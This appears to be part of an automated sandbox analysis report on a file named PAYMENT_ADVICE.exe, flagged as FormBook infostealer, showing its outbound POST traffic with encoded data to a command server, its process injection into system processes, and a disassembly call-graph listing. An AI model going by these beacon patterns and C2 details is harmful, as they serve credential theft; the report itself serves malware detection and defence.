                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            25192.168.2.550003203.161.43.228802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:27.145776987 CET728OUTPOST /idns/ HTTP/1.1
                                                            Host: www.smartguide.website
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 203
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.smartguide.website
                                                            Referer: http://www.smartguide.website/idns/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 67 55 47 63 52 45 52 6b 77 48 64 64 48 70 4f 76 6f 50 58 53 6f 4a 53 65 74 47 47 6f 50 42 55 77 43 6d 63 39 35 63 2f 39 7a 65 69 65 56 54 30 6c 52 65 6f 71 72 53 77 67 6c 48 5a 65 77 71 48 55 69 6c 70 74 4c 76 6a 62 30 51 69 4f 70 58 38 50 42 4d 38 39 46 39 76 7a 4e 35 71 70 42 77 75 72 6c 71 77 2f 37 63 6c 53 75 52 42 2b 67 6b 38 4f 54 50 72 39 6c 41 4e 52 38 32 61 4a 6d 52 4c 79 33 50 43 77 74 67 6b 4e 6e 36 74 6b 77 2f 61 7a 79 51 35 6f 48 71 38 5a 51 41 68 32 37 66 4c 36 76 66 34 41 2b 58 72 4f 65 54 52 6e 6e 50 4c 73 33 50 61 32 41 74 58 38 34 73 50 66 30 4c 75 38 51 68 31 78 64 59 55 3d
                                                            Data Ascii: Kt=gUGcRERkwHddHpOvoPXSoJSetGGoPBUwCmc95c/9zeieVT0lReoqrSwglHZewqHUilptLvjb0QiOpX8PBM89F9vzN5qpBwurlqw/7clSuRB+gk8OTPr9lANR82aJmRLy3PCwtgkNn6tkw/azyQ5oHq8ZQAh27fL6vf4A+XrOeTRnnPLs3Pa2AtX84sPf0Lu8Qh1xdYU=
                                                            Nov 29, 2024 10:21:28.368376017 CET658INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 09:21:28 GMT
                                                            Server: Apache
                                                            Content-Length: 514
                                                            Connection: close
                                                            Content-Type: text/html
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED]
                                                            Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            26192.168.2.550004203.161.43.228802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:29.814706087 CET748OUTPOST /idns/ HTTP/1.1
                                                            Host: www.smartguide.website
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 223
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.smartguide.website
                                                            Referer: http://www.smartguide.website/idns/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 67 55 47 63 52 45 52 6b 77 48 64 64 48 4a 2b 76 37 38 2f 53 75 70 53 64 6a 6d 47 6f 41 68 55 30 43 6d 59 39 35 5a 62 74 30 73 47 65 57 79 45 6c 51 66 6f 71 6d 79 77 67 39 58 5a 52 76 36 48 50 69 6c 6c 50 4c 74 48 62 30 51 32 4f 70 54 34 50 42 2f 45 2b 45 74 76 78 42 5a 71 76 50 51 75 72 6c 71 77 2f 37 59 4e 34 75 51 6c 2b 67 56 4d 4f 53 74 44 2b 74 67 4d 6a 30 57 61 4a 72 78 4c 2b 33 50 43 47 74 6b 45 30 6e 2f 78 6b 77 2b 71 7a 79 42 35 72 4a 71 38 62 65 67 67 4a 31 4e 53 50 6d 2b 38 69 68 6c 75 58 48 43 5a 30 76 5a 36 47 74 74 53 65 54 4e 37 45 6f 2f 48 6f 6c 37 50 56 4b 43 6c 42 44 50 43 78 58 67 57 39 66 73 4e 43 56 4e 73 6e 57 42 68 39 6a 58 73 49
                                                            Data Ascii: Kt=gUGcRERkwHddHJ+v78/SupSdjmGoAhU0CmY95Zbt0sGeWyElQfoqmywg9XZRv6HPillPLtHb0Q2OpT4PB/E+EtvxBZqvPQurlqw/7YN4uQl+gVMOStD+tgMj0WaJrxL+3PCGtkE0n/xkw+qzyB5rJq8beggJ1NSPm+8ihluXHCZ0vZ6GttSeTN7Eo/Hol7PVKClBDPCxXgW9fsNCVNsnWBh9jXsI
                                                            Nov 29, 2024 10:21:31.127649069 CET658INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 09:21:30 GMT
                                                            Server: Apache
                                                            Content-Length: 514
                                                            Connection: close
                                                            Content-Type: text/html
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED]
                                                            Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            27192.168.2.550005203.161.43.228802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:32.566046953 CET1765OUTPOST /idns/ HTTP/1.1
                                                            Host: www.smartguide.website
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 1239
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.smartguide.website
                                                            Referer: http://www.smartguide.website/idns/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 67 55 47 63 52 45 52 6b 77 48 64 64 48 4a 2b 76 37 38 2f 53 75 70 53 64 6a 6d 47 6f 41 68 55 30 43 6d 59 39 35 5a 62 74 30 73 4f 65 56 45 34 6c 52 34 30 71 6e 79 77 67 6a 48 5a 53 76 36 47 58 69 6c 4e 4c 4c 74 36 67 30 53 4f 4f 70 32 73 50 44 4f 45 2b 4b 74 76 78 4a 35 71 75 42 77 75 45 6c 72 41 37 37 63 68 34 75 51 6c 2b 67 58 55 4f 62 66 72 2b 72 67 4e 52 38 32 61 46 6d 52 4b 68 33 4c 75 57 74 69 59 6b 6b 4d 70 6b 78 65 36 7a 30 7a 52 72 42 71 38 56 5a 67 67 52 31 4e 75 6d 6d 2b 77 55 68 6b 61 39 48 46 64 30 2b 49 66 67 2b 63 36 61 50 37 7a 36 72 2b 57 50 37 62 36 32 46 7a 59 30 4a 4e 65 49 65 79 61 78 57 4a 4a 54 66 75 51 76 43 46 4e 55 6f 41 34 45 55 6e 62 6a 45 4c 4b 50 32 2b 36 36 33 67 4a 74 6b 34 6f 6d 2f 65 74 50 66 4d 56 63 71 4c 4e 38 50 32 56 37 44 55 2f 4a 36 57 35 70 39 37 68 41 77 73 79 4b 6e 31 51 59 78 66 30 4e 46 75 52 69 68 2b 48 77 73 50 44 51 74 38 63 37 61 65 6f 6a 33 63 44 57 54 6e 70 77 4c 77 44 35 47 63 4a 61 65 51 6d 4a 68 42 66 6f 53 55 5a 59 43 50 6d 52 7a 2b 42 [TRUNCATED]
                                                            Data Ascii: Kt=gUGcRERkwHddHJ+v78/SupSdjmGoAhU0CmY95Zbt0sOeVE4lR40qnywgjHZSv6GXilNLLt6g0SOOp2sPDOE+KtvxJ5quBwuElrA77ch4uQl+gXUObfr+rgNR82aFmRKh3LuWtiYkkMpkxe6z0zRrBq8VZggR1Numm+wUhka9HFd0+Ifg+c6aP7z6r+WP7b62FzY0JNeIeyaxWJJTfuQvCFNUoA4EUnbjELKP2+663gJtk4om/etPfMVcqLN8P2V7DU/J6W5p97hAwsyKn1QYxf0NFuRih+HwsPDQt8c7aeoj3cDWTnpwLwD5GcJaeQmJhBfoSUZYCPmRz+BcZQqeK8/JktIsSDynWgWT38RYI1M11QokywmLj2QyZencVcphYQo7ZEmgYjNCRyFo8Qyupnrrlv11ndGnDl9rna5ebusaH4endno+g2PaE+krIKHTdF5Z1Mjuk7gkp6vCLKSdWrjbTDX2A0m7nx8rPGz4JB1Q+z+5nxntrputC53+VzXjTgND0NzWBq75n/v81sPVkOlzkFMauaBEECIMg2DmWahjdI2fcWXCrszGnLVeL3F62sj+3FbxKIAnTpr+FvWFyG1t6Pmz6Uo25xlJ90NjWaxJOYCPpQabiqmUaw4GBZvnL2W9sQQ6VQVexqVpoek4aL2+09m3qw55CqcCidsmk+6IpMVTss/U4NfJn21SxHOPMAbrRn2AgvQ0HNTBoIcsdVOk1Jw/ySvA1epvvGXijMdyswa9pveELZ0JBs7R6X1FCyODTy4b7WEfeDiZ+y2+oxX0awoxpNXWBfAGbLyl+7zyA4ffCit3iCLtgwuXw2CYjV45PvMfxIU5QVyEsQhySLB+rhxZ9jMwOkI1B0xzrFMEmo+eeY4MW1WQKJxZ0Be0qwcKpWx2d5Rbz+zZu5DPkbhW+15mLHT84RmDbNiCN5YO6ZxkhBSZbXsb0VPP21XgKgH1682rHI9GhqfsUBmH1he5FPGE2FvNYftqeE4PrM48AebJw [TRUNCATED]
                                                            Nov 29, 2024 10:21:33.743021965 CET658INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 09:21:33 GMT
                                                            Server: Apache
                                                            Content-Length: 514
                                                            Connection: close
                                                            Content-Type: text/html
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED]
                                                            Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>


                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                            28192.168.2.550006203.161.43.22880
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:21:35.497895002 CET455OUTGET /idns/?Kt=tWu8S0gfwlp8I7S50P+oj6aKsUrLd1seaQNA2PXr1eeObh1NV8ksr3YF7EszsqbhtWgKLsqG/SyApVsbNYoWLtD0SL+KCzmIgbUZ3MRci350tQgHP9zkkiMqwhSLpQz6gw==&ej=DjJHGh2p HTTP/1.1
                                                            Host: www.smartguide.website
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Connection: close
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Nov 29, 2024 10:21:36.714744091 CET673INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 09:21:36 GMT
                                                            Server: Apache
                                                            Content-Length: 514
                                                            Connection: close
                                                            Content-Type: text/html; charset=utf-8
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED]
                                                            Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>


                                                            Statistics

                                                            CPU Usage

                                                            Click to jump to process

                                                            Memory Usage

                                                            Click to jump to process

                                                            High Level Behavior Distribution

                                                            Click to dive into process behavior distribution

                                                            Behavior

                                                            Click to jump to process

                                                            System Behavior

                                                            General

                                                            Target ID:0
                                                            Start time:04:18:29
                                                            Start date:29/11/2024
                                                            Path:C:\Users\user\Desktop\PAYMENT_ADVICE.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Users\user\Desktop\PAYMENT_ADVICE.exe"
                                                            Imagebase:0x340000
                                                            File size:1'288'192 bytes
                                                            MD5 hash:228FDA4777B9EFACF66E920158BFA794
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:2
                                                            Start time:04:18:30
                                                            Start date:29/11/2024
                                                            Path:C:\Windows\SysWOW64\svchost.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Users\user\Desktop\PAYMENT_ADVICE.exe"
                                                            Imagebase:0xe60000
                                                            File size:46'504 bytes
                                                            MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2593190427.0000000004550000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2592700767.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2592496169.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:5
                                                            Start time:04:19:17
                                                            Start date:29/11/2024
                                                            Path:C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe"
                                                            Imagebase:0xba0000
                                                            File size:140'800 bytes
                                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3886512221.0000000003B90000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                            Reputation:high
                                                            Has exited:false

                                                            General

                                                            Target ID:6
                                                            Start time:04:19:19
                                                            Start date:29/11/2024
                                                            Path:C:\Windows\SysWOW64\powercfg.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\SysWOW64\powercfg.exe"
                                                            Imagebase:0xd0000
                                                            File size:78'336 bytes
                                                            MD5 hash:9D71DBDD3AD017EC69554ACF9CAADD05
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3885564363.0000000002750000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3886510200.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3886566452.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Reputation:moderate
                                                            Has exited:false

                                                            General

                                                            Target ID:7
                                                            Start time:04:19:31
                                                            Start date:29/11/2024
                                                            Path:C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe"
                                                            Imagebase:0xba0000
                                                            File size:140'800 bytes
                                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3886149393.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                            Reputation:high
                                                            Has exited:false

                                                            General

                                                            Target ID:8
                                                            Start time:04:19:43
                                                            Start date:29/11/2024
                                                            Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                            Imagebase:0x7ff79f9e0000
                                                            File size:676'768 bytes
                                                            MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            Disassembly

                                                            Reset < >

                                                              Execution Graph

                                                              Execution Coverage:3.9%
                                                              Dynamic/Decrypted Code Coverage:0.4%
                                                              Signature Coverage:3.2%
                                                              Total number of Nodes:2000
                                                              Total number of Limit Nodes:179
                                                              execution_graph 101069 367c56 101070 367c62 _doexit 101069->101070 101106 369e08 GetStartupInfoW 101070->101106 101072 367c67 101108 368b7c GetProcessHeap 101072->101108 101074 367cbf 101075 367cca 101074->101075 101191 367da6 58 API calls 3 library calls 101074->101191 101109 369ae6 101075->101109 101078 367cd0 101079 367cdb __RTC_Initialize 101078->101079 101192 367da6 58 API calls 3 library calls 101078->101192 101130 36d5d2 101079->101130 101082 367cea 101083 367cf6 GetCommandLineW 101082->101083 101193 367da6 58 API calls 3 library calls 101082->101193 101149 374f23 GetEnvironmentStringsW 101083->101149 101086 367cf5 101086->101083 101089 367d10 101090 367d1b 101089->101090 101194 3630b5 58 API calls 3 library calls 101089->101194 101159 374d58 101090->101159 101093 367d21 101094 367d2c 101093->101094 101195 3630b5 58 API calls 3 library calls 101093->101195 101173 3630ef 101094->101173 101097 367d34 101098 367d3f __wwincmdln 101097->101098 101196 3630b5 58 API calls 3 library calls 101097->101196 101179 3447d0 101098->101179 101101 367d53 101102 367d62 101101->101102 101197 363358 58 API calls _doexit 101101->101197 101198 3630e0 58 API calls _doexit 101102->101198 101105 367d67 _doexit 101107 369e1e 101106->101107 101107->101072 101108->101074 101199 363187 36 API calls 2 library calls 101109->101199 101111 369aeb 101200 369d3c InitializeCriticalSectionAndSpinCount __mtinitlocknum 101111->101200 101113 369af4 101201 369b5c 61 API calls 2 library calls 101113->101201 101114 369af0 101114->101113 101202 369d8a TlsAlloc 101114->101202 101117 369af9 101117->101078 101118 369b06 101118->101113 101119 369b11 101118->101119 101203 3687d5 101119->101203 101122 369b53 101211 369b5c 61 API calls 2 library calls 101122->101211 101125 369b32 101125->101122 101127 369b38 101125->101127 101126 369b58 101126->101078 101210 369a33 58 API calls 4 library calls 101127->101210 101129 369b40 GetCurrentThreadId 101129->101078 101131 36d5de _doexit 101130->101131 101223 369c0b 101131->101223 101133 36d5e5 101134 3687d5 __calloc_crt 58 API calls 101133->101134 101135 36d5f6 101134->101135 101136 36d661 GetStartupInfoW 101135->101136 101137 36d601 _doexit @_EH4_CallFilterFunc@8 101135->101137 101138 36d7a5 101136->101138 101145 36d676 101136->101145 101137->101082 101139 36d86d 101138->101139 101142 36d7f2 GetStdHandle 101138->101142 101144 36d805 GetFileType 101138->101144 101231 369e2b InitializeCriticalSectionAndSpinCount 101138->101231 101232 36d87d LeaveCriticalSection _doexit 101139->101232 101141 3687d5 __calloc_crt 58 API calls 101141->101145 101142->101138 101143 36d6c4 101143->101138 101146 36d6f8 GetFileType 101143->101146 101230 369e2b InitializeCriticalSectionAndSpinCount 101143->101230 101144->101138 101145->101138 101145->101141 101145->101143 101146->101143 101150 374f34 101149->101150 101151 367d06 101149->101151 101272 36881d 58 API calls __malloc_crt 101150->101272 101155 374b1b GetModuleFileNameW 101151->101155 101153 374f5a _memmove 101154 374f70 